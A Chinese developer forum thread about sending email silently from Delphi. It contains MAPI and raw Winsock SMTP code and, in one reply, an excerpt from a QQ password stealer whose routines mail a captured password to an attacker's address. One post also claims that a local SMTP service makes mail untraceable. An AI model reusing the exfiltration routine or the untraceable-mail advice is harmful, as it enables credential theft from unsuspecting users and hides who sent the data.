如何直接发送邮件不弹出任何窗口?最好能帮我写一函数:function Sendmail(to,from,subject,body:string):integer;

解决方案 »

  1.   

    嘿嘿,你参考吧。
    function SendMail(const Subject, Body, FileName, 
    SenderName, SenderEMail,RecepientName, RecepientEMail: string): Integer;varMessage: TMapiMessage;lpSender, lpRecepient: TMapiRecipDesc;FileAttach: TMapiFileDesc;SM: TFNMapiSendMail;MAPIModule: HModule;beginFillChar(Message, SizeOf(Message), 0);with Message dobeginif (Subject <> '') then lpszSubject := PChar(Subject);if (Body <> '') then lpszNoteText := PChar(Body);if (SenderEmail <> '') thenbeginlpSender.ulRecipClass := MAPI_ORIG;if (SenderName = '') thenlpSender.lpszName := PChar(SenderEMail)elselpSender.lpszName := PChar(SenderName);lpSender.lpszAddress := PChar(SenderEmail);lpSender.ulReserved := 0;lpSender.ulEIDSize := 0;lpSender.lpEntryID := nil;lpOriginator := @lpSender;end;if (RecepientEmail <> '') thenbeginlpRecepient.ulRecipClass := MAPI_TO;if (RecepientName = '') thenlpRecepient.lpszName := PChar(RecepientEMail)elselpRecepient.lpszName := PChar(RecepientName);lpRecepient.lpszAddress := PChar(RecepientEmail);lpRecepient.ulReserved := 0;lpRecepient.ulEIDSize := 0;lpRecepient.lpEntryID := nil;nRecipCount := 1;lpRecips := @lpRecepient;endelselpRecips := nil;if (FileName = '') thenbeginnFileCount := 0;lpFiles := nil;endelsebeginFillChar(FileAttach, SizeOf(FileAttach), 0);FileAttach.nPosition := Cardinal($FFFFFFFF);FileAttach.lpszPathName := PChar(FileName);nFileCount := 1;lpFiles := @FileAttach;end;end;MAPIModule := LoadLibrary(PChar(MAPIDLL));if MAPIModule = 0 thenResult := -1elsetry@SM := GetProcAddress(MAPIModule, 'MAPISendMail');if @SM <> nil thenbeginResult := SM(0, Application.Handle, Message, MAPI_DIALOG orMAPI_LOGON_UI, 0);endelseResult := 1;finallyFreeLibrary(MAPIModule);end;if Result <> 0 thenMessageDlg('Error sending mail (' + IntToStr(Result) + ').', mtError,[mbOK], 0);end;**********************下面是利用WinSock发送电子邮件的例子:whaoye:program SendMail;useswinsock;{$R *.RES}procedure sendmails;stdcall;vars:tsocket;buffer:array[0..255] of char;errorcode:integer;mailserver:tsockaddr;beginmailserver.sin_family:=af_inet;mailserver.sin_port:=htons(25);mailserver.sin_addr.S_addr:=inet_addr('202.104.32.230');s:=socket(af_inet,sock_stream,0);errorcode:=connect(s,mailserver,sizeof(mailserver));if errorcode<>invalid_socket thenbeginbuffer:='HELO'+#13#10;send(s,buffer,length('HELO'+#13#10),0);buffer:='MAIL FROM: [email protected]'+#13#10;send(s,buffer,length('MAIL FROM: [email protected]'+#13#10),0);buffer:='RCPT TO:administrator@godeye'+#13#10;send(s,buffer,length('RCPT TO:administrator@godeye'+#13#10),0);buffer:='DATA'+#13#10;send(s,buffer,length('DATA'+#13#10),0);buffer:='FROM:[email protected]'+#13#10;send(s,buffer,length('FROM:[email protected]'+#13#10),0);buffer:='TO:administrator@godeye'+#13#10;send(s,buffer,length('TO:[email protected]'+#13#10),0);buffer:='SUBJECT:just a test!'+#13#10;send(s,buffer,length('SUBJECT:just a test!'+#13#10),0);buffer:='I LOVE THIS GAME!'+#13#10;send(s,buffer,length('I LOVE THIS GAME!'+#13#10),0);buffer:='.'+#13#10;send(s,buffer,length('.'+#13#10),0);buffer:='QUIT'+#13#10;send(s,buffer,length('QUIT'+#13#10),0);closesocket(s);end;end;varwsa:twsadata;beginwsastartup($0202,wsa);sendmails;wsacleanup;end.*******************//下面是个发信的子过程,取得密码后发回[email protected]邮箱procedure MailSend;beginerr:=recv(FSocket,sbuf,400,0);s1:=strpas(sbuf);inc(step);case step of1:s1:='HELO smtp.hacker.com'+CRLF;2:s1:='MAIL FROM: <[email protected]>'+CRLF;3:s1:='RCPT TO: <'+email+'>'+CRLF;4:s1:='DATA'+CRLF;5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF+'To:"getoicq"<www.password.com>'+CRLF+'Subject:QQ2001 Password come.'+CRLF+CRLF+newpass+CRLF+'.'+CRLF;6:s1:='QUIT'+CRLF;elsestep:=0;end;strcopy(sbuf,pchar(s1));err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);end;//发信主过程procedure SendPass;beginerr:=WSAStartup($0101,WSAData);FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);//利用 smtp.21cn.com 进行发信fhost:='202.104.32.230';fport:=25;SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));SockAddrIn.sin_family := PF_INET;SockAddrIn.sin_port :=htons(Fport);err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));step:=0;repeatMailSend;until step=0;err:=closesocket(FSocket);err:=WSACleanup;end;
      

  2.   

    我就是用smtp发的,也没什么对话框啊。星星不会连个对话框都搞不定吧。
      

  3.   

    to 小枫:请讲讲你的方法。我需要的是不需要设置smtp服务器的,也不需要账号和密码的直接发送邮件的方法。
      

  4.   

    如果是NT操作系统,本身有一个虚拟SMTP的服务,用这个就可以发EMAIL;
      

  5.   

    邮件特快专递程序http://new.playicq.com/dispdocnew.php?id=65描述了怎样直接发送邮件到对方信箱的原理。
    短小精悍
      

  6.   

    如果用本身的虚拟SMTP服务,就可以发邮件,而且人家查不到是从哪里发的了。。
      

  7.   

    to 天外流星,书虫:    谢谢,能说得更详细些吗?谢谢tomore.